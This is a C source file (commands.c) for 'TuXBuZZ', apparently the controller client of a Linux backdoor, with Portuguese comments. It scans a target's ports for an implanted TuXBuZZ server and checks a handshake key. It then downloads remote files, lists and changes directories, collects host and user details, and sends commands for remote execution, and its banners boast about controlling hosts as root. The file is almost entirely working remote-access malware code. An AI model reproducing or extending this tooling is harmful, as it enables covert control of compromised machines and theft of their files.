Site hosted by Angelfire.com: Build your free website today!
/**************************************************************************
TuXBuZZ - DoC#include
commands.c
**************************************************************************/

#include "commands.h"
#include "messages.h"
#include "tuxbuzzpackage.h"


#include <sys/time.h>

/*-------------------------------------------------------------------------- 
extrai o primeiro token da linha de comando e chama o comando adequado
passando o resto da linha como argumentos do comando, ex:
connect 127.0.0.1 --> pega "connect" como comando e passa " 127.0.0.1"
como argumento para process_cmd_connect()
---------------------------------------------------------------------------*/


int parse_cmd(char* cmd) 
{
   char* cmdptr = cmd;  

  while(*cmdptr=='\t' || *cmdptr==' ')
    ++cmdptr;
  
  if(!strncmp(cmdptr,"quit",4)){
    process_cmd_quit();
    
  }else if(!strncmp(cmdptr,"connect",7)){
    
    cmdptr+=7;
    process_cmd_connect(cmdptr);
    return MSG_CONNECT;
  }else if(!strncmp(cmdptr,"get",3)){
    
    cmdptr+=3;
    process_cmd_get(cmdptr);
    return MSG_GET;
  }else if(!strncmp(cmdptr,"close",5)){
    if(!process_cmd_close())
      fprintf(stdout,"connection closed. %d bytes sended, %d bytes
received.\n",bytessended,bytesreceived);
    else
      fprintf(stdout,"close error: no active connection\n");
    return MSG_DISCONNECT;
  }else if(!strncmp(cmdptr,"rinfo",5)){
    cmdptr+=5;
    process_cmd_rinfo(cmdptr);
    return MSG_RINFO;
  }else if(!strncmp(cmdptr,"help",4)){
    process_cmd_help();
    return MSG_HELP;
}
else if(!strncmp(cmdptr,"scan",4)){
  cmdptr+=4;
  process_cmd_scan(cmdptr);
  return MSG_SCAN;
}else if(!strncmp(cmdptr,"ls",2)){
        cmdptr+=2;
        process_cmd_ls(cmdptr);
        return MSG_LS;
}else if(!strncmp(cmdptr,"cd",2)){
        cmdptr+=2;
        process_cmd_cd(cmdptr);
        return MSG_CHDIR;
}else if(!strncmp(cmdptr,"pwd",3)){
        process_cmd_pwd();
        return MSG_PWD;
}else if(!strncmp(cmdptr,"exec",4)){
        cmdptr+=4;
        process_cmd_exec(cmdptr);
        return MSG_EXEC;
}else if(!strncmp(cmdptr,"!",1)){
        cmdptr++;
        process_local_shell_cmd(cmdptr);
        return MSG_LOCAL_SHELL_CMD;  
    }
  return -1;
}



/*----------------------------------------------------------------------------
faz a conexao com o servidor 
 ---------------------------------------------------------------------------*/

int process_cmd_connect(char *cmdargs)
{
  char *cmdargsptr = cmdargs;
  char *ipaddrarg = NULL;
  char *portarg = NULL;
  int bytes;
  struct TuxbuzzPackage pack;
  
  if(connected) return -1;

  while(*cmdargsptr=='\t' || *cmdargsptr==' ')
    ++cmdargsptr;

  if(!strlen(cmdargsptr))
    return -1;
  
  ipaddrarg = cmdargsptr;

  while(*cmdargsptr!='\t' && *cmdargsptr!=' ' && *cmdargsptr)
    ++cmdargsptr;

  if(strlen(cmdargsptr)){
    *cmdargsptr++=0;
    
		while(*cmdargsptr=='\t' || *cmdargsptr==' ')
			++cmdargsptr;
		portarg = cmdargsptr;
    port = atoi(portarg);
}
  
   
  
if((sockfd = socket(AF_INET,SOCK_STREAM,0))<0)
    {
      fputs("connect: socket\n",stdout);
      return -1;
}

  bzero(&addr,sizeof(addr));

  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr(ipaddrarg);

  if((connect(sockfd,(struct sockaddr*) &addr,sizeof(addr)))<0){
    fputs("connect: connect\n",stdout);
    return -1;
  }
  
  bzero(&pack,sizeof(struct TuxbuzzPackage));
  strncpy(pack.data,TUXBUZZKEY_CLIENT,24);

 fprintf(stdout,"connected to %s on port %d\n",inet_ntoa(addr.sin_addr)
,ntohs(addr.sin_port));
  send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  recv(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  if(strncmp(pack.data,TUXBUZZKEY_SERVER,24)){
  close(sockfd);
  fprintf(stdout,"Dont a TuXBuZZ Server\n");
  return -1;
  }
  
  if(pack.message)
    fprintf(stdout,"Wellcome to TuxBuZZ server "
    VERSION" (not running as root)\n");
  else{
    fprintf(stdout,"      OWWWWWWWW SHIIIIIIIIT !!!!!!!!! "
    "NoT OnLY WinDoZe can bE HacKed.\n"
    "Wellcome to TuxBuZZ Server " VERSION" running as ROOT !!!\n"
    "Good Luck !\n"
    );
  }
  fflush(stdout);
  connected = 1;


  return 0;
}



/* --------------------------------------------------------------------------- 
baixa um arquivo do servidor para a maquina do cliente 
-----------------------------------------------------------------------------*/

int process_cmd_get(char *cmdargs)
{
  char *remotefile,*localfile;
  int localfilefd; /* descritor do arquivo local */
  struct TuxbuzzPackage pack;
  int bytes;
	
	/* se nao for fornecido um nome para o arquivo local, ele sera enviado para a saida padrao */
	int echoefile = 0; 

	int filesize=0; /* vai dar o tamanho do arquivo */
  char *cmdargsptr = cmdargs;
  while(*cmdargsptr=='\t' || *cmdargsptr==' ')
    ++cmdargsptr;
  
  if(!strlen(cmdargsptr))
    return -1;

  remotefile = cmdargsptr;

	while(*cmdargsptr!='\t' && *cmdargsptr!=' ' && *cmdargsptr)
		++cmdargsptr;

	if(strlen(cmdargsptr))	
		*cmdargsptr++='\0';
	

 while(*cmdargsptr=='\t' || *cmdargsptr==' ')
		++cmdargsptr;

	localfile = cmdargsptr;
	
	
/* se nao foi fornecido um nome para o arquivo local, o arquivo remoto sera enviado diretamente para a saida padrao */
if(!strlen(localfile)) 
			echoefile=1; 

/* a funcao retorna erro se nao puder criar o arquivo local */	
if(!echoefile)	
		if((localfilefd=open(localfile,O_WRONLY | O_CREAT))==-1){
				fprintf(stdout,"error: could not create file %s\n",localfile);		
				return -1;}
 
	bzero(&pack,sizeof(struct TuxbuzzPackage));
  pack.message = MSG_GET;
  
  
  bytes=send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  bytessended+=bytes; 
	bytes=recv(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
 	bytesreceived+=bytes; 
	
	if(pack.message==MSG_CONTINUE){
    bzero(&pack,sizeof(struct TuxbuzzPackage));
    strncpy(pack.data,remotefile,strlen(remotefile));
    bytes=send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  	bytessended+=bytes;  


for(;;){
	bzero(&pack,sizeof(struct TuxbuzzPackage));
	recv(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
	if(pack.message>0){
		filesize+=pack.message;
		if(!echoefile)
			write(localfilefd,pack.data,pack.message);
		else
			fprintf(stdout,"%s",pack.data);
	pack.message = MSG_CONTINUE;
	send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
}else if(pack.message==0){pack.message=MSG_STOP;send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);break;} 
else if(pack.message==-1){pack.message=MSG_STOP;send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
fprintf(stdout,"error: remote file don't exists\n");return(-1);}
}
if(!echoefile)
	close(localfilefd);
}
bytesreceived+=filesize;

fprintf(stdout,"downloaded file %s as %s (%d bytes total)\n",
remotefile,localfile,filesize);

return 0;
}


int process_cmd_close()
{
  struct TuxbuzzPackage pack;
  int bytes;  
if(!connected) return -1;
  bzero(&pack,sizeof(struct TuxbuzzPackage));
  pack.message = MSG_DISCONNECT;
  bytes = send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  bytessended+=bytes;

  close(sockfd);
  connected = 0;
  
  return 0;
}

int process_cmd_rinfo(char *cmdargs)
{
  char *cmdargsptr = cmdargs;
  char *arg;
  int bytes;
  struct TuxbuzzPackage pack;
  struct utsname machine; /* para receber informacoes basicas da maquina servidor */
  
  while(*cmdargsptr=='\t' || *cmdargsptr==' ')
    ++cmdargsptr;
  
  
  if(!strlen(cmdargsptr))
    return -1;
    
  arg = cmdargsptr;
  
  
  while(*arg!='\t' && *cmdargsptr!=' ' && *cmdargsptr)
    ++cmdargsptr;
    
  if(!strlen(arg))
    return -1;
  
  *cmdargsptr++='\0';
  
  
  
  if(!strncmp(arg,"remote",6)){
    if(!connected) return -1;
    bzero(&pack,sizeof(struct TuxbuzzPackage));
    pack.message = MSG_RINFO_REMOTE;
    bytes = send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
    bytessended+=bytes;
    bytes = recv(sockfd,&machine,sizeof(machine),0);
    bytesreceived+=bytes;
    fprintf(stdout,"OS: %s
Machine Name: %s
Release: %s
Version: %s
Machine: %s\n",machine.sysname
,machine.nodename,machine.release,machine.version,machine.machine);
} else 
  if(!strncmp(arg,"user",4)){
    char userinfostr[1024];
    bzero(userinfostr,1024);
    if(!connected) return -1;
    pack.message = MSG_RINFO_USER;
    bytes = send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
    bytessended+=bytes;
    bytes = recv(sockfd,userinfostr,1024,0);
    bytesreceived+=bytes;
   fprintf(stdout,"%s",userinfostr);
   } 


  return 0;
}

int process_cmd_help()
{
  fputs(usage,stdout);
  return 0;
}

void process_cmd_quit()
{
if(connected) /* se estiver conectado, encerra a conexao */
	process_cmd_close();
exit(0);
}


int process_cmd_scan(char *cmdargs)
{
  char *cmdargsptr = cmdargs;
  char *ipaddrarg = NULL;
  int bytes =0;
  struct TuxbuzzPackage ackpack,rackpack;
  int scanport = 0;
  
  struct timeval tv;
  fd_set readfs;
  
  
  
  if(connected){
  fprintf(stdout,"Allready connected. Disconnect Before trying to do a scan.\n");
  return -1;
}
  
  while(*cmdargsptr=='\t' || *cmdargsptr==' ')
    ++cmdargsptr;

  if(!strlen(cmdargsptr))
    return -1;
  
  ipaddrarg = cmdargsptr;

  while(*cmdargsptr!='\t' && *cmdargsptr!=' ' && *cmdargsptr)
    ++cmdargsptr;

  if(strlen(cmdargsptr))
    *cmdargsptr=0;
    
	bzero(&ackpack,sizeof(struct TuxbuzzPackage));	
  strncpy(ackpack.data,TUXBUZZKEY_CLIENT,24);   
    
    
    fprintf(stdout,"scaning %s...\n",ipaddrarg);
fflush(stdout);  
   
while(scanport<=65000){
   bzero(&addr,sizeof(addr));
   addr.sin_port = htons(scanport);
   addr.sin_family = AF_INET;
   addr.sin_addr.s_addr = inet_addr(ipaddrarg);
   
   
  
   if((sockfd = socket(AF_INET,SOCK_STREAM,0))<0)
    {
      fputs("connect: socket\n",stdout);
      fflush(stdout);
      perror("socket !!!!!");
      return -1;
    }
   
      
   
   if((connect(sockfd,(struct sockaddr*) &addr,sizeof(addr)))<0){
    ++scanport;

    close(sockfd);
    continue;
  }
  
  send(sockfd,&ackpack,sizeof(struct TuxbuzzPackage),0);
  bzero(&rackpack,sizeof(struct TuxbuzzPackage));
  
  tv.tv_sec = 1;
  FD_ZERO(&readfs);
  FD_SET(sockfd,&readfs);
  bytes=select(sockfd+1,&readfs,NULL,NULL,&tv);
  if(!FD_ISSET(sockfd,&readfs))
  {
close(sockfd);continue;  
}
    fprintf(stdout,"lendo...(%d)\n",bytes);
    bytes=recv(sockfd,&rackpack,sizeof(struct TuxbuzzPackage),0);
  fprintf(stdout,"lixo:%s",rackpack.data);  
 
  
  if(strncmp(rackpack.data,TUXBUZZKEY_SERVER,24)){
  close(sockfd);
  ++scanport;
  continue;
  }
  if(rackpack.message){
    fprintf(stdout,"Wellcome to TuxBuZZ server "
    VERSION" (not running as root)\n");
  port = scanport;connected = 1;fflush(stdout);return 0;  
  }
  else{
    fprintf(stdout,"      OWWWWWWWW SHIIIIIIIIT !!!!!!!!! "
    "NoT OnLY WinDoZe can bE HacKed.\n"
    "Wellcome to TuxBuZZ Server " VERSION" running as ROOT !!!\n"
    "Good Luck !\n"
    );
port = scanport;connected=1;fflush(stdout);return 0;  
}
}
  fflush(stdout);
  


  return -1;
}


int process_cmd_ls(char *cmdargs)
{
struct TuxbuzzPackage pack;
int bytes;

bzero(&pack,sizeof(struct TuxbuzzPackage));
pack.message = MSG_LS;

bytes=send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
bytessended+=bytes;

for(;;){
	bzero(&pack,sizeof(struct TuxbuzzPackage));
	recv(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
	if(pack.message>0){
		fprintf(stdout,"%s",pack.data);
	  pack.message = MSG_CONTINUE;
	  send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  }else if(pack.message==0){pack.message=MSG_STOP;send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);break;} 
else if(pack.message==-1){pack.message=MSG_STOP;send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
fprintf(stdout,"error: ls\n");return(-1);}
}


return 0;

}

int process_cmd_cd(char *cmdargs)
{
struct TuxbuzzPackage pack;
char *cmdargsptr = cmdargs;
while(*cmdargsptr=='\t' || *cmdargsptr==' ')
    ++cmdargsptr;

bzero(&pack,sizeof(struct TuxbuzzPackage));
pack.message = MSG_CHDIR;
strcpy(pack.data,cmdargsptr);
send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
recv(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
fprintf(stdout,"Current working directory now: %s (%d)\n",pack.data,strlen(pack.data));
return 0;
}

int process_cmd_pwd(char *cmdargs)
{
  struct TuxbuzzPackage pack;
  pack.message = MSG_PWD;
  send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  bzero(&pack,sizeof(struct TuxbuzzPackage));
  recv(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  fprintf(stdout,"%s\n",pack.data);
  return 0;
}

int process_cmd_exec(char *cmdargs)
{
char* cmd = cmdargs;
struct TuxbuzzPackage pack;

while(*cmd=='\t' || *cmd==' ')
  ++cmd;
  
if(!strlen(cmd)) 
  return -1;
  bzero(&pack,sizeof(struct TuxbuzzPackage));
  pack.message = MSG_EXEC;
  strcpy(pack.data,cmd);
  send(sockfd,&pack,sizeof(struct TuxbuzzPackage),0);
  return 0;
}


/* executa um comando pelo shell quando o primeiro caractere
da linha de comando e um "!" (como no  micq)*/

int process_local_shell_cmd(char *cmdargs)
{
char *cmd = cmdargs;
FILE* pipedesc;
char buff[1024];

while(*cmd=='\t' || *cmd==' ')
  ++cmd;

if(!strlen(cmd))
  return -1;
  
if((pipedesc=popen(cmd,"r"))==NULL)
  return -1;
  


while(!feof(pipedesc)){
  bzero(buff,1024);
  fread(buff,1024,1,pipedesc);
  fwrite(buff,strlen(buff),1,stdout);
  fflush(stdout);
}
  
pclose(pipedesc);
return 0;
}



/* fim de commands.c */